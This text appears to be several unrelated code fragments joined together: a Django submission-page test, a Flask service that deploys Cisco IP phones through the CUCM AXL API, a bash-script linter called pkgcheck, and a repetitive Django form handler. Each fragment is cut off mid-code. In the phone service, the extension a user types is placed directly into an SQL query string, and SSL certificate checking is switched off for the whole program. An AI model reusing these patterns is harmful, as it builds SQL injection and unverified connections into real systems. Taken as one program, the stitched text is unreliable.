Phase: received / in_discussion assert_assign_reviewers_secondary_displayed(submission) # Phase: internal_review - no reviewers assigned submission.perform_transition('internal_review', self.user) assert_assign_reviewers_secondary_displayed(submission) # Phase: internal_review - all reviewer types assigned AssignedReviewersFactory(submission=submission, reviewer=ReviewerFactory(), role=reviewer_role) assert_assign_reviewers_secondary_displayed(submission) def test_can_see_view_determination_primary_action(self): def assert_view_determination_displayed(submission): response = self.get_page(submission) buttons = BeautifulSoup(response.content, 'html5lib').find(class_='js-actions-sidebar').find_all('a', class_='button--primary', text='View determination') self.assertEqual(len(buttons), 1) # Phase: accepted submission = ApplicationSubmissionFactory(status='accepted') DeterminationFactory(submission=submission, author=self.user, accepted=True, submitted=True) assert_view_determination_displayed(submission) # Phase: rejected submission = ApplicationSubmissionFactory(status='rejected') DeterminationFactory(submission=submission, author=self.user, rejected=True, submitted=True) assert_view_determination_displayed(submission) def test_cant_see_view_determination_primary_action(self): def assert_view_determination_not_displayed(submission): response = self.get_page(submission) buttons = BeautifulSoup(response.content, 'html5lib').find(class_='js-actions-sidebar').find_all('a', class_='button--primary', text='View determination') self.assertEqual(len(buttons), 0) # Phase: received / in_discussion submission = ApplicationSubmissionFactory() assert_view_determination_not_displayed(submission) # Phase: ready-for-determination, no determination submission.perform_transition('determination', self.user) assert_view_determination_not_displayed(submission) # Phase: ready-for-determination, draft determination DeterminationFactory(submission=submission, author=self.user, accepted=True, submitted=False) assert_view_determination_not_displayed(submission) def test_cant_see_application_draft_status(self): factory = RequestFactory() submission = ApplicationSubmissionFactory(status='draft') ProjectFactory(submission=submission) request = factory.get(f'/submission/{submission.pk}') request.user = StaffFactory() with self.assertRaises(Http404): SubmissionDetailView.as_view()(request, pk=submission.pk) def test_applicant_can_see_application_draft_status(self): factory = RequestFactory() user = ApplicantFactory() submission = ApplicationSubmissionFactory(status='draft', user=user) ProjectFactory(submission=submission) request =
<gh_stars>1-10 #!/usr/bin/python # # nterprise TAPS Phone Deployment Service # Version: 1.2.1 # # 2018-05-31 - Added interactive bot functionality with /commands # # Written by: <NAME> # Email: <EMAIL> # Copyright 2018 Zones nfrastructure # # This program can be used to deploy enhanced TAPS-like deployment services to a CUCM system # The service is presented as an XML service to the phone display # # The AutoRegistration device templates in CUCM should be configured with # the 'Idle' service URL pointed to this web service in the following format: # http://<webserverfqdn>:<flaskPort>/taps?=#DEVICENAME# # Also be sure to set the Idle timer to a reasonable value such as 5-10 seconds # This ensures the service automatically shows up, but also allows you to exit and have time to dial if needed # You could also optionally configure an IP Phone Service instead of using the Idle URL # Be sure all your phones (especially the auto-reg phone template) have Web Access enabled # This is needed to gather Serial numbers, CDP, etc # # A 'Support' softkey is provided to automatically call whatever the 'supportDN' configured below is # This helps techs quickly access support during deployment # # Procedure: # Enter the desired extension matching the CUCM template you wish to apply to the phone # If you have a 'dnPrefix' configured, you only need to enter the remaining digits # Enter any additional custom data fields as required for your deployment # If there are no matches, or no matches match your phone model you will see an error. # If there is only one valid match it will automatically proceed. # If there are multiple matches: # You will be presented with a list of all phones with that as their PRIMARY extension # Devices with secondary lines matching will not be shown # Scroll and select the correct tempate to apply to this phone # If successful, the phone will reboot and come up with the new configuration # If unsuccessful, the phone will reboot and auto-register again. # # Run on Windows Server or PC (2012+ recommended) # IIS # CUCM AXL and RIS Schema # Download from CUCM server 'plugins' page # Currently tested with v10.5 - v12.0 # Script & Files # /nterprise-taps # nterprise-taps.py # nterprise-taps.db (Created after first runtime) # /axl/... (Extract CUCM AXL files here) # /static # /css # nterprise-taps.css # /img # greencheck.png # redx.png # /js # sortable.js # /fonts # /templates # nterprise-taps-log.html # Required Python version and module dependencies: # SQLite3 # Python 3.5.x # pip # ssl,csv,random,time,uuid,requests,datetime,re # flask # flask_sqlalchemy # suds # zeep # lxml >> set STATICBUILD=true && pip install lxml # # # # TAPS Undo Service # To create an optional service for converting configured phones back into BAT Templates # Setup an IP Phone Service with Enterprise Subscription # Point to Standard XML Service URL: # <tapsURL>/tapsUndo?name=#DEVICENAME# # Select the service on the phone to initate the TAPS UNDO process. # # # LOGGING # Log records of all transactions are kept in a sqlite3 database file # They are visible as a sortable table at this URL: # <tapsURL>/tapsLog # They are downloadable as a CSV at this URL: # <tapsURL>/tapsLog.csv # # import ssl,csv,random,time,uuid,requests,datetime import re from lxml import etree, html from flask_sqlalchemy import SQLAlchemy from flask.ext.sqlalchemy import get_debug_queries from suds.xsd.doctor import Import from suds.xsd.doctor import ImportDoctor from suds.transport.https import HttpAuthenticated from suds.client import Client from zeep import Transport from zeep import Client as zClient from zeep.helpers import serialize_object import logging import logging.config from flask import * import pdb app = Flask(__name__) #===================================================================================# nterpriseLogo = 'https://mycompany.com/img/end-to-end/phonetic-dark.jpg' # GLOBAL VARIABLES AND CUSTOM PARAMETERS customerName = 'mycompany' customerDomain = 'mycompany.com' projectName = 'VoIP Deployment' # Customer ID Number nterpriseCID = '70' # Project ID Number nterprisePID = '320' # Enter the port to run this TAPS service on (Flask default is 5000) flaskPort = 5555 # Enter the root URL and Port number for this TAPS service tapsURL = 'http://server.mycompany.com:'+str(flaskPort)+'/' # Web Server path to where the success and failure image files are hosted. imageServerPath = 'static/img/' # Path where WSDL AXL API Schema is installed on web server cucmVersion = '12.0' axlPath = 'axl/schema/'+cucmVersion+'/AXLAPI.wsdl' risPath = 'axl/ris/'+cucmVersion+'/RISService70.wsdl' # Enter the FQDN (or IP) and Port (usually 8443) for the CUCM Publisher cucmServer = 'cucm.mycompany.com' cucmPort = '8443' # Enter the username and password for the CUCM AXL user to connect # 'Standard AXL API Admin' and 'Standard CCM Server Monitoring' Roles required cucmUsername = 'username' cucmPassword = 'password' # Enter the FQDN (or IP) and Port (usually 8443) for the Unity Publisher unityServer = 'unity.mycompany.lab' unityPort = '8443' # Enter the username and password for the Unity user to connect # 'System Administrator' Roles required unityUsername = 'username' unityPassword = 'password' # If you have long extensions with the same prefix you can enter it here so that # you only have to enter, for example, the last 4 digits of a 10-digit extension dnPrefix = '555' # Enter the AutoReg Extension Prefix to prevent TAPS-Undo of auto-reg phones autoRegPrefix = '999' # Phone number to dial for deployment support supportDN = '5551234' # True = Default - only matches that are BAT templates will be presented, typical for a deployment # False = both BAT and SEP devices will be presented, ideal for phone swaps batOnly = False # Custom Data Collection Fields (Set 'False' to disable if not needed) customFieldEnable = False # Configure a label and datatype for up to 4 data collection fields # If not using some, set the Name to '', do not disable or invalidate the field # Data Types (Default is Alphanumeric): # A - Alphanumeric ASCII Text # T - Telephone Number # N - Numeric # U - Uppercase # L - Lowercase # P - Password # E - Equation / Math customFieldName1 = 'Jack #' customFieldType1 = 'A' customFieldName2 = 'Room #' customFieldType2 = 'A' customFieldName3 = 'Asset Tag' customFieldType3 = 'N' customFieldName4 = 'Comment' customFieldType4 = 'A' # Webex Teams Monitoring API Variables # Room 'Note to Self > TAPS' roomId = '' # Bot Name '<EMAIL>' botToken = '' botEmail = '<EMAIL>' # WebHook ID webHookId = '' # Register Webex Teams WebHooks # def webHookRegister(): # headers = {'content-type':'application/json; charset=utf-8', 'authorization':'Bearer '+botToken} # data = {'resource':'messages', 'event':'created', 'filter':'roomId='+roomId, 'targetUrl':'http://0538c75b.ngrok.io/webHook', 'name':'nterprise TAPS WebHook'} # webhookRegister = requests.post('https://api.ciscospark.com/v1/webhooks', headers=headers, data=json.dumps(data)) # print(webhookRegister.content) # return() # webHookRegister() #===================================================================================# # Ignore SSL Warnings ssl._create_default_https_context = ssl._create_unverified_context # SOAP CONFIG tns = 'http://schemas.cisco.com/ast/soap/' imp = Import('http://schemas.xmlsoap.org/soap/encoding/', 'http://schemas.xmlsoap.org/soap/encoding/') imp.filter.add(tns) axlWsdl = 'http://localhost/'+axlPath axlLocation = 'https://' + cucmServer + ':' + cucmPort + '/axl/' risWsdl = 'http://localhost/'+risPath risLocation = 'https://' + cucmServer + ':' + cucmPort + '/realtimeservice2/services/RISService70' axlClient = Client(axlWsdl,location=axlLocation, faults=False, transport=HttpAuthenticated(username=cucmUsername,password=cucmPassword), plugins=[ImportDoctor(imp)]) risClient = zClient(wsdl=risWsdl, transport=Transport(http_auth=(cucmUsername,cucmPassword), verify=False)) # GENERAL PYTHON DEBUGGER TOOL - PUT THIS WHERE YOU WANT TO BREAK/STEP CODE # pdb.set_trace() # # ENABLE ZEEP DEBUGGING # logging.config.dictConfig({ # 'version': 1, # 'formatters': { # 'verbose': { # 'format': '%(name)s: %(message)s' # } # }, # 'handlers': { # 'console': { # 'level': 'DEBUG', # 'class': 'logging.StreamHandler', # 'formatter': 'verbose', # }, # }, # 'loggers': { # 'zeep.transports': { # 'level': 'DEBUG', # 'propagate': True, # 'handlers': ['console'], # }, # } # }) # ENABLE SUDS DEBUGGING # logging.basicConfig(level=logging.INFO) # logging.getLogger('suds').setLevel(logging.DEBUG) # ENABLE REQUESTS DEBUGGING # import http.client as http_client # http_client.HTTPConnection.debuglevel = 1 # # You must initialize logging, otherwise you'll not see debug output. # logging.basicConfig() # logging.getLogger().setLevel(logging.DEBUG) # requests_log = logging.getLogger('requests.packages.urllib3') # requests_log.setLevel(logging.DEBUG) # requests_log.propagate = True #===================================================================================# # SQLite3 Database Creation # ENABLE SQLALCHEMY DEBUGGING # logging.basicConfig() # logging.getLogger('sqlalchemy.engine').setLevel(logging.INFO) # app.config['SQLALCHEMY_RECORD_QUERIES'] = True app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///nterprise-taps.db' db = SQLAlchemy(app) class nterprise_taps(db.Model): __tablename__ = 'nterprise_taps' pkid = db.Column(db.Integer, primary_key=True, autoincrement=True) uuid = db.Column(db.String(250), nullable=False) date = db.Column(db.String(250), nullable=False) time = db.Column(db.String(250), nullable=False) device_uuid = db.Column(db.String(250), nullable=True) device_name = db.Column(db.String(250), nullable=False) extension = db.Column(db.String(250), nullable=True) bat_device = db.Column(db.String(250), nullable=True) model = db.Column(db.String(250), nullable=True) device_pool = db.Column(db.String(250), nullable=True) description = db.Column(db.String(250), nullable=True) owner_uuid = db.Column(db.String(250), nullable=True) owner_userid = db.Column(db.String(250), nullable=True) vm_uuid = db.Column(db.String(250), nullable=True) vm_alias = db.Column(db.String(250), nullable=True) device_ip = db.Column(db.String(250), nullable=True) vlan = db.Column(db.String(250), nullable=True) serial = db.Column(db.String(250), nullable=True) version = db.Column(db.String(250), nullable=True) sidecars = db.Column(db.String(250), nullable=True) cdp_hostname = db.Column(db.String(250), nullable=True) cdp_ip = db.Column(db.String(250), nullable=True) cdp_port = db.Column(db.String(250), nullable=True) success = db.Column(db.Boolean, default=0, nullable=False) reason = db.Column(db.String(250), nullable=True) task_type = db.Column(db.String(250), nullable=True) custom1 = db.Column(db.String(250), nullable=True) custom2 = db.Column(db.String(250), nullable=True) custom3 = db.Column(db.String(250), nullable=True) custom4 = db.Column(db.String(250), nullable=True) db.create_all() #======================================================================================================# #======================================================================================================# #======================================================================================================# # Phone Service Submit Form @app.route('/taps', methods=['GET']) def taps(): deviceName = request.args.get('name') print(deviceName) mac = deviceName[3:] urlSuffix = 'getPhones' # If using Custom Fields, include them in XML Data if customFieldEnable == True: customFieldsXML = ''' <InputItem> <DisplayName>'''+customFieldName1+'''</DisplayName> <QueryStringParam>custom1</QueryStringParam> <DefaultValue></DefaultValue> <InputFlags>'''+customFieldType1+'''</InputFlags> </InputItem> <InputItem> <DisplayName>'''+customFieldName2+'''</DisplayName> <QueryStringParam>custom2</QueryStringParam> <DefaultValue></DefaultValue> <InputFlags>'''+customFieldType2+'''</InputFlags> </InputItem> <InputItem> <DisplayName>'''+customFieldName3+'''</DisplayName> <QueryStringParam>custom3</QueryStringParam> <DefaultValue></DefaultValue> <InputFlags>'''+customFieldType3+'''</InputFlags> </InputItem> <InputItem> <DisplayName>'''+customFieldName4+'''</DisplayName> <QueryStringParam>custom4</QueryStringParam> <DefaultValue></DefaultValue> <InputFlags>'''+customFieldType4+'''</InputFlags> </InputItem>''' else: customFieldsXML = '' xml = '''<?xml version='1.0' encoding='UTF-8'?> <CiscoIPPhoneInput> <Title>nterprise TAPS</Title> <Prompt>Enter the new phone extension</Prompt> <URL method='get'>'''+tapsURL+urlSuffix+'''?mac='''+mac+'''</URL> <InputItem> <DisplayName>Extension</DisplayName> <QueryStringParam>exten</QueryStringParam> <DefaultValue>'''+dnPrefix+'''</DefaultValue> <InputFlags>T</InputFlags> </InputItem> '''+customFieldsXML+''' <SoftKeyItem> <Name>Submit</Name> <URL>SoftKey:Submit</URL> <Position>1</Position> </SoftKeyItem> <SoftKeyItem> <Name>&lt;&lt;</Name> <URL>SoftKey:&lt;&lt;</URL> <Position>2</Position> </SoftKeyItem> <SoftKeyItem> <Name>Exit</Name> <URL>Init:Services</URL> <Position>3</Position> </SoftKeyItem> <SoftKeyItem> <Name>Support</Name> <URL>Dial:'''+supportDN+'''</URL> <Position>4</Position> </SoftKeyItem> </CiscoIPPhoneInput>''' return(Response(xml, mimetype='text/xml')) #===================================================================================# # Search for matching devices @app.route('/getPhones', methods=['GET']) def getPhones(): transactionUUID = uuid.uuid4().urn[9:] success = 0 exten = str(request.args.get('exten')) mac = str(request.args.get('mac')) deviceName = 'SEP'+ mac custom1 = str(request.args.get('custom1')) custom2 = str(request.args.get('custom2')) custom3 = str(request.args.get('custom3')) custom4 = str(request.args.get('custom4')) oneMatch = False # print('Extension: '+exten) # print('MAC: '+mac) # print(custom1) # print(custom2) # print(custom3) # print(custom4) urlSuffix = 'configure' xmlPrefix = '''<?xml version='1.0' encoding='UTF-8'?> <CiscoIPPhoneMenu> <Title>nterprise TAPS</Title> <Prompt>Select the correct device</Prompt> ''' xmlSuffix = ''' <SoftKeyItem> <Name>Select</Name> <URL>SoftKey:Select</URL> <Position>1</Position> </SoftKeyItem> <SoftKeyItem> <Name>Exit</Name> <URL>Init:Services</URL> <Position>3</Position> </SoftKeyItem> <SoftKeyItem> <Name>Support</Name> <URL>Dial:'''+supportDN+'''</URL> <Position>4</Position> </SoftKeyItem> </CiscoIPPhoneMenu>''' # tkclass=1 means Phones only # tkpatternusage=2 means Directory Numbers only # d.isactive says whether it is a BAT template (false) or not (true) response = axlClient.service.executeSQLQuery(sql='SELECT d.name, d.tkmodel, tm.name AS model, d.description, n.dnorpattern, d.isactive FROM device AS d INNER join devicenumplanmap AS dmap on dmap.fkdevice=d.pkid INNER join numplan AS n on dmap.fknumplan=n.pkid INNER join typeclass AS tc on d.tkclass=tc.enum INNER join typemodel AS tm on d.tkmodel=tm.enum WHERE d.tkclass=1 and n.tkpatternusage=2 and n.dnorpattern like \''+exten+'\'') # print(response[0]) # print(response[1]) # Check that some match was returned if response[1]['return'] == '': # print('NO MATCH') numResults = 0 else: result = response[1]['return'].row numResults = len(result) # print('Number of Results: '+str(numResults)) response2 = axlClient.service.listPhone({'name': deviceName}, returnedTags={'name':'','model':'','description':'','ownerUserName':'','devicePoolName':''}) # print(response2) reason = '' if numResults
<reponame>pombredanne/github.com-FFY00-pkgcheck #!/usr/bin/env python # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from __future__ import absolute_import import argparse import fileinput import os import re import shlex import subprocess import sys from pkgcheck import messages MESSAGES = messages.MESSAGES def is_continuation(line): return re.search('\\\\\s*$', line) def check_for_do(line, report): if not is_continuation(line): match = re.match('^\s*(for|while|until)\s', line) if match: operator = match.group(1).strip() if operator == "for": # "for i in ..." and "for ((" is bash, but # "for (" is likely from an embedded awk script, # so skip it if re.search('for \([^\(]', line): return if not re.search(';\s*do$', line): report.print_error((MESSAGES['E010'].msg % operator), line) def check_if_then(line, report): if not is_continuation(line): if re.search('^\s*(el)?if \[', line): if not re.search(';\s*then$', line): report.print_error(MESSAGES['E011'].msg, line) def check_no_trailing_whitespace(line, report): if re.search('[ \t]+$', line): report.print_error(MESSAGES['E001'].msg, line) def check_indents(logical_line, report, continuing, skip_indent): # this is rather complex to handle argument offset indenting; # primarily done by emacs. If there is an argument, it will try # to line up the following arguments underneath it, e.g. # foobar_cmd bar baz \ # moo boo # Thus the offset in this case might not be a strict multiple of 4 # Find the offset of the first argument of the command (if it has # one) m = re.search('^(?P<indent>[ \t]+)?(?P<cmd>\S+)(?P<ws>\s+)(?P<arg>\S+)', logical_line[0]) arg_offset = None if m: arg_offset = len(m.group('indent')) if m.group('indent') else 0 arg_offset += len(m.group('cmd')) + len(m.group('ws')) # go through each line for lineno, line in enumerate(logical_line): m = re.search('^(?P<indent>[ \t]+)', line) if m: indent = m.group('indent') offset = len(indent.replace('\t', '')) # the first line and lines without an argument should be # offset by 2 spaces if not skip_indent: if (lineno == 0) or (arg_offset is None): if (offset % 2) != 0: report.print_error(MESSAGES['E003'].msg, line) else: # other lines are allowed to line up with the first # argument, or be multiple-of 2 spaces if offset != arg_offset and (offset % 2) != 0: report.print_error(MESSAGES['E003'].msg, line) # no tabs, only spaces if re.search('\t', indent) and not continuing: if not indent.startswith(' ') or not line.endswith(' \\\n'): report.print_error(MESSAGES['E002'].msg, line) def check_function_decl(line, report): failed = False if line.startswith("function"): if not re.search('^function [\w-]* \{$', line): failed = True else: # catch the case without "function", e.g. # things like '^foo() {' if re.search('^\s*?\(\)\s*?\{', line): failed = True if failed: report.print_error(MESSAGES['E020'].msg, line) def starts_heredoc(line): # note, watch out for <<EOF and <<'EOF' ; quotes in the # deliminator are part of syntax m = re.search("[^<]<<\s*([\'\"]?)(?P<token>\w+)([\'\"]?)", line) return m.group('token') if m else False def end_of_heredoc(line, token): return token and re.search("^%s\s*$" % token, line) def check_arithmetic(line, report): if "$[" in line: report.print_error(MESSAGES['E041'].msg, line) def check_bare_arithmetic(line, report): if line.lstrip().startswith("(("): report.print_error(MESSAGES['W043'].msg, line) def check_local_subshell(line, report): # XXX: should we increase the string checking to see if the $( is # anywhere with a string being set? Risk of false positives?x if line.lstrip().startswith('local ') and \ any(s in line for s in ('=$(', '=`', '="$(', '="`')): report.print_error(MESSAGES['W042'].msg, line) def check_conditional_expression(line, report): # We're really starting to push the limits of what we can do without # a complete bash syntax parser here. For example # > [[ $foo =~ " [ " ]] && [[ $bar =~ " ] " ]] # would be valid but mess up a simple regex matcher for "[.*]". # Let alone dealing with multiple-line-spanning etc... # # So we'll KISS and just look for simple, one line, # > if [ $foo =~ "bar" ]; then # type statements, which are the vast majority of typo errors. # # shlex is pretty helpful in getting us something we can walk to # find this pattern. It does however have issues with # unterminated quotes on multi-line strings (e.g.) # # foo="bar <-- we only see this bit in "line" # baz" # # So we're just going to ignore parser failures here and move on. # Possibly in the future we could pull such multi-line strings # into "logical_line" below, and pass that here and have shlex # break that up. try: toks = shlex.shlex(line) toks.wordchars = "[]=~" toks = list(toks) except ValueError: return in_single_bracket = False for tok in toks: if tok == '[': in_single_bracket = True elif tok in ('=~', '<', '>') and in_single_bracket: report.print_error(MESSAGES['E044'].msg, line) elif tok == ']': in_single_bracket = False def check_unquoted(line, report): quoted = False for m in re.compile(r'"|\$(|{).*(pkgdir|srcdir)|"').finditer(line): if m.group() == '"': quoted = not quoted elif not quoted: report.print_error(MESSAGES['E005'].msg, line) return def check_unneeded_quotes(line, report): if re.search('(pkgname|pkgver|pkgrel|epoch)=(\'|")', line): report.print_error(MESSAGES['W062'].msg, line) def check_syntax(filename, report): # run the file through "bash -n" to catch basic syntax errors and # other warnings matches = [] # sample lines we want to match: # foo.sh: line 4: warning: \ # here-document at line 1 delimited by end-of-file (wanted `EOF') # foo.sh: line 9: syntax error: unexpected end of file # foo.sh: line 7: syntax error near unexpected token `}' # # i.e. consistency with ":"'s isn't constant, so just do our # best... r = re.compile( '^(?P<file>.*): line (?P<lineno>[0-9]+): (?P<error>.*)') # we are parsing the error message, so force it to ignore the # system locale so we don't get messages in another language bash_environment = os.environ bash_environment['LC_ALL'] = 'C' proc = subprocess.Popen( ['bash', '-n', filename], stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=bash_environment, universal_newlines=True) outputs = proc.communicate() for line in outputs[1].split('\n'): m = r.match(line) if m: matches.append(m) for m in matches: if 'syntax error' in m.group('error'): msg = '%s: %s' % (MESSAGES['E040'].msg, m.group('error')) report.print_error(msg, filename=filename, filelineno=int(m.group('lineno'))) # Matching output from bash warning about here-documents not # ending. # FIXME: are there other warnings that might come out # with "bash -n"? A quick scan of the source code suggests # no, but there might be other interesting things we could # catch. if 'warning:' in m.group('error'): if 'delimited by end-of-file' in m.group('error'): start = re.match('^.*line (?P<start>[0-9]+).*$', m.group('error')) report.print_error( MESSAGES['E012'].msg % int(start.group('start')), filename=filename, filelineno=int(m.group('lineno'))) class pkgcheckRun(object): def __init__(self): self.error_count = 0 self.error_list = None self.ignore_list = None self.warning_count = 0 self.warning_list = None def register_ignores(self, ignores): if ignores: self.ignore_list = '^(' + '|'.join(ignores.split(',')) + ')' def register_warnings(self, warnings): if warnings: self.warning_list = '^(' + '|'.join(warnings.split(',')) + ')' def register_errors(self, errors): if errors: self.error_list = '^(' + '|'.join(errors.split(',')) + ')' def should_ignore(self, error): return self.ignore_list and re.search(self.ignore_list, error) def should_warn(self, error): # if in the errors list, overrides warning level if self.error_list and re.search(self.error_list, error): return False if messages.is_default_warning(error): return True return self.warning_list and re.search(self.warning_list, error) def print_error(self, error, line='', filename=None, filelineno=None): if self.should_ignore(error): return warn = self.should_warn(error) if not filename: filename = fileinput.filename() if not filelineno: filelineno = fileinput.filelineno() if warn: self.warning_count = self.warning_count + 1 else: self.error_count = self.error_count + 1 self.log_error(error, line, filename, filelineno, warn) def log_error(self, error, line, filename, filelineno, warn=False): # following pycodestyle/pep8 default output format # https://github.com/PyCQA/pycodestyle/blob/master/pycodestyle.py#L108 print("%(filename)s:%(filelineno)s:1: %(error)s" % {'filename': filename, 'filelineno': filelineno, 'warn': "W" if warn else "E", 'error': error.replace(":", "", 1), 'line': line.rstrip('\n')}) def check_files(self, files, verbose): logical_line = "" token = False # NOTE(mrodden): magic; replace with proper # report class when necessary report = self skip_indent = continuing = False global nl_count nl_count = 0 for fname in files: # reset world in_heredoc = False in_continuation = False # simple syntax checking, as files can pass style but still cause # syntax errors when you try to run them. check_syntax(fname, report) global prev_line prev_line = '' def finish(line): global nl_count global prev_line prev_line = line if line == '\n': nl_count += 1 else: nl_count = 0 for line in fileinput.input(fname): if fileinput.isfirstline() and verbose: print("Running pkgcheck on %s" % fileinput.filename()) # Don't run any tests on comment
').replace('\r', ' ') r14c1 = request.POST.get('r14c1').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r14c2 = request.POST.get('r14c2').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r14c3 = request.POST.get('r14c3').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r14c4 = request.POST.get('r14c4').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r14c5 = request.POST.get('r14c5').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r14c6 = request.POST.get('r14c6').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r14c7 = request.POST.get('r14c7').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r14c8 = request.POST.get('r14c8').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r14c9 = request.POST.get('r14c9').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r15c1 = request.POST.get('r15c1').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r15c2 = request.POST.get('r15c2').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r15c3 = request.POST.get('r15c3').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r15c4 = request.POST.get('r15c4').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r15c5 = request.POST.get('r15c5').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r15c6 = request.POST.get('r15c6').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r15c7 = request.POST.get('r15c7').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r15c8 = request.POST.get('r15c8').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r15c9 = request.POST.get('r15c9').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r16c1 = request.POST.get('r16c1').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r16c2 = request.POST.get('r16c2').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r16c3 = request.POST.get('r16c3').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r16c4 = request.POST.get('r16c4').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r16c5 = request.POST.get('r16c5').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r16c6 = request.POST.get('r16c6').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r16c7 = request.POST.get('r16c7').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r16c8 = request.POST.get('r16c8').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r16c9 = request.POST.get('r16c9').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r17c1 = request.POST.get('r17c1').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r17c2 = request.POST.get('r17c2').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r17c3 = request.POST.get('r17c3').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r17c4 = request.POST.get('r17c4').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r17c5 = request.POST.get('r17c5').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r17c6 = request.POST.get('r17c6').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r17c7 = request.POST.get('r17c7').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r17c8 = request.POST.get('r17c8').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r17c9 = request.POST.get('r17c9').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r18c1 = request.POST.get('r18c1').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r18c2 = request.POST.get('r18c2').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r18c3 = request.POST.get('r18c3').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r18c4 = request.POST.get('r18c4').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r18c5 = request.POST.get('r18c5').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r18c6 = request.POST.get('r18c6').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r18c7 = request.POST.get('r18c7').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r18c8 = request.POST.get('r18c8').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r18c9 = request.POST.get('r18c9').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r19c1 = request.POST.get('r19c1').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r19c2 = request.POST.get('r19c2').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r19c3 = request.POST.get('r19c3').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r19c4 = request.POST.get('r19c4').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r19c5 = request.POST.get('r19c5').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r19c6 = request.POST.get('r19c6').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r19c7 = request.POST.get('r19c7').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r19c8 = request.POST.get('r19c8').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r19c9 = request.POST.get('r19c9').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r20c1 = request.POST.get('r20c1').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r20c2 = request.POST.get('r20c2').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r20c3 = request.POST.get('r20c3').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r20c4 = request.POST.get('r20c4').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r20c5 = request.POST.get('r20c5').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r20c6 = request.POST.get('r20c6').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r20c7 = request.POST.get('r20c7').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r20c8 = request.POST.get('r20c8').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r20c9 = request.POST.get('r20c9').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r21c1 = request.POST.get('r21c1').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r21c2 = request.POST.get('r21c2').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r21c3 = request.POST.get('r21c3').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r21c4 = request.POST.get('r21c4').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r21c5 = request.POST.get('r21c5').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r21c6 = request.POST.get('r21c6').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r21c7 = request.POST.get('r21c7').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r21c8 = request.POST.get('r21c8').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') r21c9 = request.POST.get('r21c9').replace('\t', ' ').replace('\n', ' ').replace('\r', ' ') body = '<!doctype html>' + \ '<html lang="en">' + \ '<head>' + \ '<meta charset="utf-8">' + \ '<meta name="viewport" content="width=device-width, initial-scale=1, 